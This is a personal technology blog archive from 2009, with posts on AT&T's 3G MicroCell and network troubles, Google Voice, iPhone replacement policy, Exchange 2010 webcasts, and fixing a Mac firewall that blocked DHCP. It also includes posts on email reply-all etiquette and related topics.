Tuesday, June 23, 2009 9:42:34 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

The latest news via Unstrung's Michelle Donegan is that AT&T's 3G Microcell, which has been in a limited and private beta in the United States for a few months now, will be available in a sort of public beta in the coming weeks, in select (and as-yet unnamed) cities. The 3G Microcell is a device that you plus into your broadband connection at home. It has a 3G transceiver built in, and allows you to create a small cell area of coverage (hence the name "microcell" of course). I've written about it before, here and here.

From the news article:

According to AT&T's executive director for radio access network delivery, Gordon Mansfield, who was speaking at the Femtocells World Summit in London today, about 200 users are testing the femto service in targeted customer trials.

In the coming weeks, he added, "we will expand that into a marketing trial of the AT&T-branded 3G Microcell, which will be open to customers through our AT&T stores… in a handful of cities.

"We're on track for a full national launch by the end of 2009."

The equipment comes from network infrastructure equipment giant Cisco.

I'm hoping that Portland is one of the metro areas they include in the text phase, since my home has pretty much zero coverage. But I do have broadband and would truly benefit from the product.

AT&T plans to add a whole bunch of 850 Mhz spectrum to it's 3G service infrastructure, which should improve it's network performance and capacity substantially. Many have experienced the dropped call and unavailable network performance issues on AT&T's network, so this is a welcome change. But for those of us who simply live just outside the workable coverage area, the 3G Microcell will open even more doors for its customers.



Add/Read: Comments [0]
Mobile | Tech
Tuesday, June 23, 2009 8:56:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, June 08, 2009

Today Apple announced the next rev of the iPhone, the "iPhone 3GS." It has beefed up processing power and some cool new features like a better camera, more storage, etc.

Normally I'd be ultra excited about getting one as soon as its available. But this time around, I'm having a hard time getting inspired.

It has nothing to do with Apple's hardware and software. In fact, the processing power boosts and other changes are very, very tempting, and in a world where all else was equal it would be a no-brainer for me to drop the early upgrade cash on the table and move on up.

But the fact of the matter is, with AT&T's ultra-poor network performance on my current iPhone 3G, I think I'm better off waiting until Apple adds another U.S. carrier. I consistently have to turn off the 3G capabilities on iPhone 3G in order to avoid dropped calls and to successfully get network connections. That was the case with the first iPhone 3G I had, too. To top it all off, the service has gotten worse recently in my experience. I just can't see dropping that much cash for a new phone to operate on a network that already sucks. I've been sorely disappointed by AT&T, almost to the point where I want to call them and tell them they've consistently failed to perform to the level of service they claim (which is 100% the case).

It's time for Apple to drop that bomb on AT&T. Failure to perform in this case is going to cost Apple market share. It's got to be embarrassing to the company. During the announcements made today at Apple's World Wide Developer Conference, every time AT&T was mentioned the crowd just laughed. Seriously laughed, and not because there was a funny joke. It was because AT&T's quality is so lacking one just can' t help but either laugh or cry. They even laughed when AT&T was not mentioned - most notably with regard the fact that the carrier's logo was missing from some key slides in the presentation, pointing out AT&T's lack of launch time support for MMS and tethering, two of the key selling points for the new phone model.

AT&T has turned into that partner that Apple doesn't need, and shouldn't want. It's time to make a change. AT&T has simply failed to perform. When you can't reliably make and maintain calls and the data network won't keep a connection between towers, something's just not good enough. I hope Apple will step up - sooner rather than later - and add another carrier or two even before AT&T's exclusive agreement expires. It takes two to be successful in any partnership, and in this one AT&T's turned into a bit of a boat anchor.

What would change my mind on this one? Simple: When my current 3G phones work like they should on AT&Ts network, I'll be the first one to say so right here. Out loud and with conviction. But, I'm not holding my breath quite yet.Tmobile

Maybe a good jailbreaking and switch to Tmobile will work on the new OS and device. I'm sure someone will figure out out. Desperate times call for desperate measures. We shall see.



Add/Read: Comments [5]
Apple | Mobile | Tech | Things that Suck
Monday, June 08, 2009 8:16:24 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 27, 2009

Shorthand used to be reserved for stenographers and people who took dictation or a lot of notes. But for the vast majority of us it was never fun. Remember those days? Now shorthand is cool again, but in text messages sent and received on cell phones. And it seems as if everyone under 25 is doing it (as well as some of us old people).

Parents, if you're lost in the world of texting because the abbreviated vocabulary is confusing, no worries. Mobile phone manufacturer LG has released a new web site that allows you to decode txt message slang, and you can use it at http://www.lgdtxtr.com/.

So now you can get a better handle on what your kids are up to. Enjoy.



Add/Read: Comments [2]
Mobile | Safe Computing | Tech
Wednesday, May 27, 2009 9:13:39 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Exchange Server 2010 is just around the corner, and Microsoft is gearing up to present a month of webcasts starting June 1st to introduce the new version to us. The webcast schedule is below. You can get the beta of Exchange Server 2010 here.

6/1/09 - 9:00am PT: TechNet Webcast: Exchange 2010 High Availability
Welcome to the future! The future of Exchange high availability, that is. In this webcast, we reveal the changes and improvements to the built-in high availability platform in Exchange Server 2010. Exchange 2010 includes a unified framework for high availability and disaster recovery that is quick to deploy and easy to manage. Learn about all of the new features in Exchange 2010 that make it the most resilient, highly available version of Exchange ever.

6/3/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Overview
This webcast will introduce you to Exchange Server 2010, reviewing the major areas of investment for this release and highlighting marquee features.

6/8/09 - 1:00pm PT: TechNet Webcast: Exchange 2010 Management Tools
Exchange 2010 includes new capabilities that make the operation of your Exchange environment more efficient. Learn how we've made the Exchange Management Console more powerful, extended the reach of PowerShell, and made it easier to delegate management tasks.

6/10/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Archiving and Retention
This webcast will introduce new ways to address archiving and retention with Exchange Server 2010.

6/15/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Outlook Web Access
Exchange 2010 brings new features and functionality to Outlook Web Access. See product demonstrations of the latest capabilities and understand how browser-based communication and collaboration gets better than ever in Exchange 2010.

6/17/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Architecture
This webcast describes the overall architecture of Exchange 2010 and key considerations for the scalability and performance of each server role. This webcast will provide the background and framework for the other Exchange 2010 webcasts, serving as a bridge between the overview session and drill-downs in each product area. This webcast is a recommended pre-requisite for the Exchange 2010 transition and deployment webcast.

6/22/09 - 9:00am PT: TechNet Webcast: Federation in Exchange 2010
Federation is a key part of the architecture of Exchange 2010, powering new organization-to-organization sharing scenarios. Learn how federation enhances the capabilities of Exchange 2010 and enables advanced coexistence between Exchange Server and Exchange Online.

6/24/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Voice Mail enabled by Unified Messaging
Exchange 2010 Unified Messaging is Microsoft's second generation unified messaging and voice mail solution. In this webcast, learn about the features, benefits, and architecture of Unified Messaging in Exchange 2010.

6/24/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Information Protection and Control
This webcast will introduce you to new ways to address information protection and control with Exchange Server 2010. A discussion of the use of encryption and rights management in parallel with Exchange will be included as well as an introduction to new functionality in Exchange that supports information protection scenarios.

7/1/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Transition and Deployment
In this session we will cover the migration planning and deployment path to move an organization from Exchange 2003 or Exchange 2007 to Exchange 2010.



Add/Read: Comments [0]
Tech
Wednesday, May 27, 2009 9:01:47 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 06, 2009

If you're in or anywhere close to Portland, Oregon and you care about software development from a coder's perspective, there's a terrific (and FREE) event coming up on May 30th that you should definitely attend: Portland Code Camp 2009.

If you're interested in learning from cool, smart people or if you have some area of code passion you'd like to share with others (no experience necessary - seriously!), then go check it out and sign up now.

The 2009 Portland Code Camp is a free mini-conference that is a community-driven event by, and for people who write software. The event features sessions on all kinds of software and technologies, regardless of language, vendor, or platform. Code camp brings the software development community together, focusing on the common act of creating software. It is designed for all interest, all levels, and all ages.

Be a Presenter! The 2009 Portland Code Camp is a great opportunity to present a session on a piece of code, a technology, or a project that excites you. Share your knowledge and experience with others. If you've never presented in public before, code camp gives you a opportunity in a warm, friendly setting.

About this FREE Community Event in Portland

A. Concept. Portland Code Camp is a community event focused on the needs and interests of the developer community, and where we can learn from each other. Anyone is welcome to attend and anyone can propose a session on any development related topic. Final session selection is based on the interest expressed by those planning to attend. If the developer community is not interested in a topic, it just doesn’t make the ‘cut’.

B. Community. Portland Code Camp is about the developer community. ‘Real’ developers, not business interests guide all stages of planning for the event. And ‘real’ developers (those planning to attend) express their interest in session topics.

C. Cost. Portland Code Camp will always be ‘FREE’ to the developer community. There are no charges to attend any of the Portland Code Camp activities. We do raise funds from Sponsors, but Sponsors have no control over the sessions selected.

D. Sessions. Sessions may range from ‘white board’ discussions to down in the trenches coding. Session presenters should present materials that is their own original or derivative work, free of copyright encumbrances. All session materials, code samples, scripts, even slides, will be made available to attendees. Session presenters should only offer material, including code, that is available to re-use, adapt, and alter for the attendee’s own education, projects and even work.

E. Presenters. Anyone is encouraged to offer a presentation. Portland Code Camp provides a ‘low-key’ opportunity for inexperienced folks to make their first public presentation efforts. Some presenters will be experienced and some will be making their first public presentation. The Portland Code Camp audience is quite supportive of first time presenters. Most presenters will be from the Portland area, while a few may be from outside the area.

F. Code. Portland Code Camp sessions will focus on coding –with few exceptions. We encourage presenters to keep their presentations with the realm of ‘code’; a few sessions may have such informative value that they will be permitted without code. But such sessions will only occur if they garner sufficient interest (see paragraph ‘A’ above).

G. Schedule. Portland Code Camp occurs on evenings and weekends in order to reduce work related scheduling conflicts.



Add/Read: Comments [0]
Geek Out | Tech
Wednesday, May 06, 2009 12:50:42 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, May 05, 2009

I recently took advantage of an in-store offer to replace my water-damaged 16GB iPhone 3G with a 8GB version for $199 with no contract extensions, just paid the money and walked out with it. And in my case I got to keep the old one, which makes a great WiFi-enabled MP3 player.

Apparently (according to reports) it's now official policy/program now for Apple stores to allow problematic iPhones where the water damage sensors (there are four of them) have been "tripped" (discolored do to extended water exposure) to be replaced with the same size and model for $199. That's a great move for people like me who do things like ski, boat and oh, I dunno... Live in the freakin' rain.

So, if you have a problematic iPhone that you have been told is not covered under warranty, you might be able to take advantage of this policy.

More info here.



Add/Read: Comments [0]
Apple | Mobile | Tech
Tuesday, May 05, 2009 9:21:33 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

When the now-long-forgotten HD disc format wars were just barely getting started, I jumped on the bandwagon early and bought the HD-DVD add-on drive for the Xbox 360 (at the original higher price, even). I also purchased a number of HD movies in the "Red" (HD-DVD) format and soon discovered the wonders of 1080p movies at home on the Xbox 360.

Ultimately, Blu-ray won the battle to determine which of the two competing formats would survive to become the industry standard. Today I rent Netflix movies in Blu-ray format whenever they are available, and there's nothing like the experience of great movies in high-definition in the home theater room with a 120-inch 1080p projected image and the sound cranked up.

I'm one of those people that buys movies I especially like or one that I'll want to watch again in the future. Unless it's really a favorite I'm more likely to rent from Netflix. Ever since the death of the red disc and the day I bought a PS3 (essentially to use as a Blu-ray player), I've wished I could play all my HD movies on the one device, just for simplicity's sake. But it doesn't work that way. I still hope for the day when a Blu-ray drive comes available for the Xbox 360, but I'm not holding my breath or anything.


Today I was reading blog posts from the past couple weeks and I saw that my friend Travis Illig recently mentioned a service from Warner Brothers called Red2Blu that allows you to take your HD-DVD's from that label and trade them in for the Blu-Ray version for a small fee per disc ($4.95). After creating a list of the Warner Brothers HD-DVDs you have at home on their web site and paying the upgrade fee with a credit card, you'll print out the PDF shipping label they provide, and then mail WB the cover art sleeves from the HD-DVDs you're converting to Blu-Ray. A FAQ covering common topics can be found here.

I just printed my shipping label and pulled all my cover art out of the HD-DVD cases. I'll ship it all off to WB tomorrow. It'll be nice to make the movie library a bit more consistent. I'll need to look to see if any of the other publishing companies have a similar program, but I was pleasantly surprised to find out that all but three of my HD-DVDs were from the WB label, so I'm pretty well covered. Here are the discs I'm able to convert:



Add/Read: Comments [1]
Movies | Tech
Monday, May 04, 2009 11:25:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, April 12, 2009

Tech Crunch posted a list of Easter eggs - little hidden software treasures you have to search for inside a program to find. It's a good list, and has a few that I had forgotten about. Among those is what some say is the original software Easter egg (I beg to differ, it might be the first video game Easter egg - but we can save that for another day), from way back in 1979 in the Atari Adventure game (wow, I remember playing that one when it was new!).

Of course, Easter eggs aren't limited to software. DVDs have become a popular place to hide fun little things, too. The Lost DVDs are a good example of discs that have extra stuff you have to poke around to find. Web sites are also often sources of Easter egg fun, and http://www.eeggs.com/ is a good site to find out how to find the in a wide variety of places.

There are nine others in the TechCrunch list, plus a couple more scattered around in the (off-topic) comments. Check it out over at TechCrunch.com.



Add/Read: Comments [0]
Geek Out | Random Stuff | Tech
Sunday, April 12, 2009 5:22:51 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I had breakfast with a friend the other day. He's been writing some really cool iPhone apps and mentioned that he's wanting to focus for the future on apps that can be written and maintained cross-platform. He'll prefer to leave out the platform-specific "extra" functionality, he said, in order to be able to do the bulk of the work once and maximize the deployable surface area.

I got to thinking about this the rest of the day and came up with a whole list of questions for my friend. It's an interesting and logical approach, and certainly not wrong by any stretch of the means. Contrasted against the common move by devs to focus only on the iPhone platform for example, my friend's approach really makes me think. Now, to be clear, I have no idea what it takes to actually deploy an app to the iPhone and also have a version to deploy on Android or RIM devices, or on the upcoming Palm Pre (which looks really cool, by the way), or whatever. At least not without writing each one from scratch. My friend does, though. What I took from our conversation (as a business guy) was that it can be done at least to some extent, but that doing it in a cost-effective way means limiting functionality on any given platform. I may be oversimplifying, and in fact I probably am.

Then today I noticed that Mike Rowehl, who writes "This is Mobility," just posted an interesting article entitled "Please don't mistake my apathy for a lack of understanding," in which he takes on the recent meme suggesting that mobile developers are blindly leaving platforms other than Apple's behind, suck os Nokia's Ovi Store.

Which leads me to ask the obvious question: "What the heck is Nokia's Ovi Store?"

Granted, I'm not buying tons of mobile devices and deploying them like I used to, and certainly I'm not a mobile developer, but I'm still pretty well plugged-in (irony intended).

My past involvement in cross-platform development and porting of apps taught me that it's almost always a complicated and expensive endeavor. But it's not just building the app for the first time that one has to consider. Maintaining multiple platforms of the same app is can also be prohibitively expensive, unless there's a relatively simple and effective way to build once and deploy in many places/platforms. In the mobile world, it just isn't simple, cost effective and reliable enough (from what I can see).

And honestly, I want to choose the best devices and buy apps that take advantage of all the cool features those devices offer. I don't often want apps that leave out the latest hardware features and software enhancements.

Who's doing cross-platform mobile development and truly making it work? How are you doing it? If you've found the way, drop me a line - I'd like to hear about it.



Add/Read: Comments [4]
Mobile | Tech
Sunday, April 12, 2009 5:03:07 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, April 11, 2009

For anyone who follows the "I always wait for the first service pack" method of deploying products, your excuse for waiting on SQL Server 2008 disappeared this past week, because SP1 for Microsoft SQL Server 2008 is now available.

Among the features, I like the slipstream install capability (install SQL server and the service pack in the same installation process), and the ability to uninstall the service pack separately.

Service Pack 1 for SQL Server 2008 is now available to customers. The Service pack is available via download at Download Center and is primarily a roll-up of Cumulative Updates 1 to 3 and minor fixes made in response to requests reported through the SQL Server community. While there are no new features in this service pack, customers running SQL Server 2008 should download and install SP1 to take advantage of the fixes which increase supportability and stability of SQL Server 2008.

The complete announcement is here.



Add/Read: Comments [1]
Tech
Saturday, April 11, 2009 3:41:43 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, March 23, 2009

UPDATE: We've had a great response and have assigned all of our beta invitations for the first round of testing, but please check the details below and let me know if you think you'd be able to help in a future phase!

I'm working with a software company to test some cool software that's currently in the early beta stage of development. The software is of a security nature and will be of interest to IT and security folks as well as individual computer users. We're looking for people with netbooks and notebook computers, especially ones with webcams built in, to test the software and provide feedback.

You'll be provided a test key and the beta software, and will need to honor the confidentiality provisions of the test program. It's nothing too complicated and the test risks are very small. You'll install the software, run through a few operational tests and let us know the results. We will ask first for technical results ("Did this work?") as well as your opinions and thoughts, should you wish to provide them.

What you'll need to provide and have available for the test:

  • One or more notebook or netbook computers
  • Computer(s) must be running Windows XP, Vista or Windows 7
  • If it has a webcam built in, all the better (but not required)
  • A Flickr account (basic account is fine)
  • An email account and server information (for application configuration to allow sending of email alerts)

What you'll get as a result of testing and providing feedback:

  • A free copy of the release version of the software when it's released (and you'll be glad you have it installed if your computer is ever lost or stolen, hint hint)
  • Satisfaction and a sincere thank-you from me and the developers of the software

This software is quite interesting and has a lot of promise to provide real security value when it hits the streets, so we want to find as many complete test cases as we can. If you're interested, please email me at greg@greghughes.net and provide the details about your system, OS, etc - or call me at 503-766-2258. We are testing now, so let me know!

And thanks!



Add/Read: Comments [1]
Geek Out | IT Security | Safe Computing | Tech | Windows
Monday, March 23, 2009 5:26:09 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Since my last post, in which I predicted the newly-minted Google Voice service would be a real positive impact in my world, my Grand Central account was enabled for the upgrade to the new application and I have migrated to the service.

Greg’s One-Line Review: It’s pretty darned awesome.

But you probably want a little more detail than that, so here we go…

First of all, I should explain that I’ve used Grand Central for the past couple years. Grand Central was the centralized phone service that Google acquired some time back, and it allowed one number to ring multiple phones, with centralized voice mail, call screening and recording, etc.

Google Voice builds upon Grand Central by adding a number of new features, including a couple killer apps in my book: Text/SMS messaging and conference calling. Other enhancements include automated transcription of voice messages and a unified inbox for all your text messages and voice mails.

I live in a very rural area, far from the nearest cell phone tower. Mobile service on my iPhone is – for all intents and purposes – nonexistent at my house. If I put the phone up on a certain window sill and avoid moving it or touching it, I can get marginal service and might be able to receive text messages. But sending messages and making/receiving phone calls is next to impossible.

By giving people my Google Voice number (which is 503-766-2258 by the way), my friends and colleagues can send me text message and call me at one number, regardless of where I am and what services are available at my location. When someone calls the number, Google Voice rings my cell and home phones at the same time. I can add other phone numbers to the ring list, as well – on the fly. So, if I’m working from an office number I can add it to the list, no problem. I can define time periods to each phone, so individual phones ring only when I want them to.

Google Voice SMS I rely on text messaging for a lot of things, and many of my friends, family members and colleagues also rely on it to reach me. Needless to say, with poor wireless phone service at home, there are times when I don’t receive and cannot send text messages. That pretty much defeats the purpose of using text messaging to reach people in real time. With Google Voice, text messages send to my number are delivered to my phone and to my Google Voice Inbox, meaning even if the phone service prevents delivery, I get the text messages in my web browser and can reply to them there. That’s huge for me – and I have already taken advantage of the ability to send and receive text messages from my computer.

There are a few things I hoped I’d find in Google Voice that aren’t there, at least not there yet. I’m hopeful they’ll be added in the future:

  • No support for sending text messages to groups – While you can create groups of contacts in the unified Google Voice inbox, you can only send messages to individual contacts. Since I lead a youth group at church, and we rely on text messaging to send out regular communications, I’d especially like to be able to send a single message to a group. As it is today, I can send a message to multiple contacts at once from my iPhone and just save the thread and keep replying to it, but when the group membership changes I have to start from scratch. It would be much easier and more reasonable to send to a single group managed in Google Voice.
  • I’m a Google Apps user and have an Apps email account under the same Google account as the one I am using for Google Voice. I’m not sure why, but behavior is not as expected when I click on the Mail link at the top of the page from Google Voice. Rather than taking me to my Google Apps email inbox, it takes me to a page where it asks me to sign up for a GMail account. All other Google applications seem to understand where to go when that link is clicked, but this one doesn’t yet. I’m sure this is just early/beta stuff that needs to be worked out, but it also means my contacts are not synchronized across my Mail and Voice inboxes, which is unfortunate (they’ve already enabled unified contacts sync with GMail account inboxes).
  • Support for syncing external contacts on the server side – While I was able to export my Outlook contacts, which are maintained on an Exchange server, as a CSV file and then import them without any issues into Google Voice, even better would be the ability to keep them up to date and in sync via the Google Voice service on the back end, maybe using ActiveSync or something similar. I’ll have to look for contact syncing software instead, since managing the sync effort by hand won’t really work for me.

All in all, Google Voice is a great app that’s already changing my ability to communicate. People in rural areas with marginal mobile service could really benefit from Google’s new offering. I’m looking forward to seeing what they deliver next!



Add/Read: Comments [7]
Mobile | Tech
Monday, March 23, 2009 12:03:17 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, March 15, 2009

I live in a remote location where you can barely get wireless service. I have to place my mobile phone on a window sill in just the right spot, and if I do that I will often get marginal service – enough to receive text messages most of the time, at least. Depending on the weather and atmospheric conditions, I sometimes get no signal at all.

There are two pieces of forthcoming technology that I plan to use to improve my situation as soon as they are available: Google Voice and the at&t 3G Microcell.

493252364-GoogleVoice_02 Google Voice was just announced late last week, and is an upgraded version of the services I already use via Grand Central, which Google acquired about a year and a half ago. Grand Central gives you one number and voicemail box for calls, and Google Voice expands in that by enabling SMS messages to the common number, with web and email access to the txt messages. I should note the service is free. The new features will be huge for me, since my ability to send and receive txt messages from home is limited at best, and often unreliable. I already have Grand Central routing voice calls to my home-office and cell phones at the same time, so the SMS addition will be welcome. Google is also adding voice mail transcription (machine transcribed) and some other nice features like built-in conference calling. They started upgrading people who already have Grand Central accounts a couple days ago, but mine has yet to be enabled for an upgrade. So, I am impatiently waiting. they say new users will be able to sign up in the coming weeks. More information about features available on Google Voice can be found here.

MicrocellOn another front, month or so ago, the tech news/rumor world was all excited about the pending at&t wireless 3G Microcell, which is a device that a user can plug into their broadband connection at home or in an office to create what amounts to a short-range personal wireless tower. I am luck enough to have terrific fast broadband service via a rural wireless transport provider called Cascade Networks, so I’ll be able to take advantage of the new at&t hardware when it’s available. Unfortunately, there’s been no news recently about availability of the 3G Microcell, but I’m hopeful it will be available soon. Having that available would enable me to consider shutting off my home phone service and possibly saving that monthly cost. The 3G Microcell is rumored to support data and voice for a few devices at a time, and who-knows in the cost department. All I know is it would improve my ability to communicate, which would be a welcome change.



Add/Read: Comments [0]
Mobile | Tech
Sunday, March 15, 2009 12:25:18 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, March 04, 2009

More than once someone has asked me if there is a way to get Google to change their search results to exclude mean, inaccurate, defamatory, rude, or otherwise hard-to-swallow web pages. Often the desire motivating the question is legitimate, as someone has been smeared unfairly or - even worse - in a completely fabricated and malicious fashion, sometimes by anonymous online personalities.

The short answer is, "Probably not."

Now, before you think the proper solution is to have Google block the pages from their search results, it's important to understand that Google is not the Internet, and that it's not really making recommendations to you when it lists web pages that match what you're looking for. Rather, it's showing you an extensive list of links to content out there on the Internet that seems to match what you're looking for.

And that's what Google's search engine is: A way to find information created by other people and displayed on the Internet. It's not a filter that's meant to decide good from bad, who's right and who's wrong, who's lying or telling the truth, etc.

That said, there are things that Google works hard to avoid showing you. Spammy pages (especially ones that try to game Google's own advertising systems) are filtered out, and there are a couple topics that won't return results in their adsense and adwords advertising systems (just try to set up adsense on a site that sells or promoted firearms, for example). So they're not completely hands off, but for the most part they don't discriminate.

When you want to have a web page removed from the search listings at Google, the most effective (and almost the only) way to do so is to convince the person controlling the web page to change the information or remove it. If you can't get them to do that, it might be time to go to a court - assuming you have convincing proof that the page is inaccurate and/or malicious, etc.

Granted, if a judge sends Google a legal notice requiring them to take action, they'll probably do so. But good luck getting a judge to agree to do that.

Always go after the source of the problem. It's not Google's fault that some mean person posted a page that says you're a jerk and thief (even though you're not). But you might be able to convince a judge that the person you claim is defaming you should change or remove the page. If that happens, Google's indexing bots will automatically update the search results the net time they crawl the offending pages and see the content has changed.

Matt Cutts has a good article (with a great graphic) discussing this. Here's a brief excerpt of what Matt tells people when they ask him the same question:

We really don’t want to be taking sides in a he-said/she-said dispute, so that’s why we typically say “Get the page fixed, changed, or removed on the web and then Google will update our index with those changes the next time that we crawl that page.”

His post prompted me to think about this again since I get this type of question several times a year. Just keep in mind that while it's an emotionally difficult thing to have someone write mean things and lies about you for all to see, it's a relatively clinical process to try to get that information changed or removed. Just make sure you stay calm and look to the right people to help with driving those changes.

Google's official page that addresses how to remove content from the company's search results is located at:

http://www.google.com/support/webmasters/bin/answer.py?answer=136868



Add/Read: Comments [10]
IT Security | Tech
Wednesday, March 04, 2009 7:12:27 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, February 09, 2009

I dropped into a Starbucks this afternoon, all prepared to get some emails written and to get some work done between my Sunday afternoon and evening commitments. Everything was fresh in my mind and ready to go via the keyboard and onto the screen. I fetched my grande two-pump sugar-free vanilla skinny latte and sat down in the chair, opened the laptop and watched it wake up and connect to the AT&T wireless access point.

But much to my dismay nothing would load over the network. The AirPort icon in the status bar showed the name of the network and indicated that I was connected to the access point, but I had no connection to the Internet.

After a brief bit of trying over and over to load a web page, I checked the network preferences in the apple system preferences panel and found that I was not getting an IP address. The Mac was self-assigning a 169.* address, which is a non-routable local-only address. I tried restarting the AirPort card in the Mac, but that didn't help. I then found I was able to connect normally with my iPhone to the AT&T WiFi network and get a "real" IP address (192.x), so I quickly deduced that something was wrong with my Mac.

I had to give up on troubleshooting and head back out into the world, but I spent the rest of the day wondering if maybe there was something about the MAC address for my wireless card that AT&T had chosen to hate. After finishing my day of activities, I drove home this evening and fired my laptop back up. It connected to my home wireless network. But again, no IP address assigned. Hmm, definitely the laptop.

I started thinking now. What could be happening? Powering the AirPort on and off, shutting down the Mac and powering it back up, manually telling the network stack to renew it's DHCP lease - all these things did no good.

I finally decided to take a look at the Mac firewall logs. You'd think that would be the first place I'd look, being a security guy. They're kind of hidden in plain sight, a few layers deep in the Mac's preferences dialogs. You go to the System Preferences panel, in the Security section, then the Firewall tab, then click the Advanced button, and finally click the Open Log button. If logging isn't already turned on, you can enable it there, as well.

Sure enough, I looked in the log and found several examples of this (emphasis mine):

Feb 8 23:02:04 greg-hughess-macbook-air Firewall[39]: Deny configd data in from 192.168.0.1:67 uid = 0 proto=17
Feb 8 23:02:26: --- last message repeated 2 times ---

Ah hah... Apparently the firewall was refusing inbound connections initiated by the router as it tried to set up the DHCP address being requested by the laptop. The configd daemon is a service that handles configuration changes for various pieces of the system, mostly all network-related. Great, I had something to fix!

I first confirmed configd was in fact running, then deleted the firewall configuration file (located at /Library/Preferences/com.apple.alf.plist) and configured the firewall to temporarily allow all connections, and then back to allowing essential services. Sure enough, as soon as I made the changes the Mac was able to get a DHCP address from the router, and the network was back up and working.

I have no real idea how the firewall got messed up. At one point I had it set to configure access for specific services and apps, so that might have had something to do with it. But it's strange that this problem only started today. It's possible the configd process was denied by a rule, I suppose. Perhaps I hit a key on a pop-up dialog to deny firewall access to the daemon without even realizing it while typing?

At any rate, it seems to be working now (as evidenced by the fact that I am able to post this blog entry, of course) and hopefully it will continue to work as expected. Maybe this will help someone else troubleshoot a similar issue.



Add/Read: Comments [18]
Apple | IT Security | Tech
Monday, February 09, 2009 12:04:44 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, January 31, 2009

Good or bad, we live and work in an increasingly binary world.

More and more I notice our collective bipolar mentality. Everything is completely one extreme or another, with no time or thought put into the idea that there might be something much more realistic and reasonable in-between. It's black or it's white. You're conservative or you're liberal. It's all the way on or it's shut completely off. It's awesomely great or it's despairingly terrible.

What happened to the various shades and levels of gray, moderation and good? Perhaps this is a result of our increasingly computer-centric boolean society, where everything at it's core can be distilled down to one's and zero's, on and off, yes or no - with nothing in-between. But the organic world has never worked that way, and I think maybe we're seeing the signs that people have forgotten to look for the compromise.

One case in point, among many: A blog article today at TechCrunch reports that management at a large company, Nielson, has decided to remove the Reply-All button from all instances of outlook. Apparently some executive committee decided this would reduce waste and increase productivity. Certainly they must be right: It's a technology problem, right? Whoever the person was that thought of the reply-all concept originally couldn't possibly have been thinking about the consequences of including this feature. They must have been misguided, unknowing and wrong.

Or were they?

To take such drastic action as to completely remove the reply-all button from Outlook seems - well - misguided, unknowing and wrong. It takes a people problem, assumes (incorrectly) that it's a technology problem, and in the end creates a new - and potentially larger - business problem.

Don't get me wrong. I hate rampant reply-all email threads as much as anyone, maybe even more so. I especially dislike the passive-aggressive, nasty, insolent and rude behavior that people often use (often, ironically, in a reply-all email) to try to tell people how much they dislike email spam. If I'm copied on a business topic thread that I don't feel the need to review and would especially like to avoid, I don't like it. But I really hate it when people include me on their angry extension of the thread where they insult the original sender and complain. At least the original thread had a business purpose.

As a senior manager, several times I've replied-to-all to say "This thread is closed, please restrict the distribution of future info those those who are needed." In every case, the goal was to get people to stop and think. It almost always worked.

Now, I can see where accidental reply-all's and excess email would business and technology people to look for a way to just make it stop. I'm not saying there's not a problem to be solved - quite the contrary. But reply-all also provides a legitimate and useful piece of business functionality, one that makes people more efficient and in many cases ensures all the right people are in the loop.

The real problem here is people-related: There's a time and a place for using reply-all, and when people get lazy or don't think things through, the situation can become spammy, annoying and time-consuming. When it's useful it's very useful. When its misused it's a real pain.

Given that fact, taking the all-or-nothing, binary technology approach and removing the functionality entirely seems to be a poor method for dealing with is - at it's root - a people behavior problem.

In fact, for years there have been other options available. One example is the Reply to All Monitor (pay software, try code RA26BA50 for a possible 50% price reduction). There are other apps out there, as well. If you don't want to buy software, you can also program some VBA code to modify Outlook's behavior and prompt the user before they can send ("Are you sure you want to reply-all?"). Plus, there are a variety of ways to configure all your Outlook instances to use a plugin or your own VBA code. Of course, if you're removing the reply-all button from all the Outlook instances at a company, you probably already know this.

Imagine: Someone else might have had this problem and found a smart way to solve it. I guess the thing that really bothers me is what looks and feels like a reactive decision, likely made by people without complete information. Do you really want to completely disable all reply-all's, or is the true intent and desire to try to get people to think before they send, while allowing reply-all in cases where it makes sense?

Anyhow, I think you get the point. You can't really solve people problems with technology. Instead we should use technology to try to support people in behaving in the way we need then to. But in the end, it's all about the person's behavior, not the computer's.

Or you could say, "Buttons don't reply-to-all, people reply-to-all."



Add/Read: Comments [6]
Tech | Things that Suck
Saturday, January 31, 2009 1:20:41 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, January 26, 2009

Although there's not a specific release date or price available yet, AT&T has posted some information on their web site that points to the future release of their new, in-home 3G cell station, which I mentioned here a couple weeks ago.

Engadget has some details about the device from the AT&T web site (details since removed from att,com, copied below), and images (like the one above) have started to show up on AT&T's site, as well. The pictures show two manufacturer names: Cisco on the case and Scientific Atlanta on the model/serial number label.

I'm looking forward to this, as I technically live outside the usable AT&T service area and can only occasionally/barely get a wireless signal at my home.

What is an AT&T 3G MicroCell™?

AT&T 3G MicroCell acts like a mini cellular tower in your home or small business environment. It connects to AT&T's network via your existing broadband internet service (such as DSL or cable) and is designed to support up to 10 3G capable wireless phones in a home or small business setting. With AT&T 3G MicroCell, you receive improved cellular signal performance for both voice calls and cellular data applications, like picture messaging and surfing the web for up to 4 simultaneous users.

Device Features:

  • Enhanced coverage indoors - supports both voice and data up to 5000 square feet.
  • Available unlimited minute plans - Individual or Family Plan.
